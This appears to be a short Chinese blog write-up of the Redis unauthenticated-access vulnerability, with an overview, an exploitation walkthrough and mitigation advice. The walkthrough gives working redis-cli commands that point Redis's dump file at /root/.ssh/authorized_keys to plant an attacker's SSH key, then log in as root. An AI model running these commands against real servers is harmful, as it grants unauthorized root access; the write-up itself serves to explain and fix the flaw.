一.漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
二.漏洞分析与利用
1. 先创建秘钥文件
2. 利用空口令登录redis
1 2 3 4 5 6 7
| redis-cli -h xxx.xxx.xxx.xxx
config set dir /root/.ssh config get dir config set dbfilename authorized_keys set test "\n\n\nssh-rsa key_pub\n\n\n\n" save
|
其中key_pub为生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码.
1
| ssh -i id_rsa root@xxx.xxx.xxx.xxx
|
三.漏洞修补方法
- 禁止使用 root 权限启动 redis 服务;
- 对 redis 访问启用密码认证,并且添加 IP 访问限制;
- 尽可能不对公网直接开放 SSH 服务。
四.参考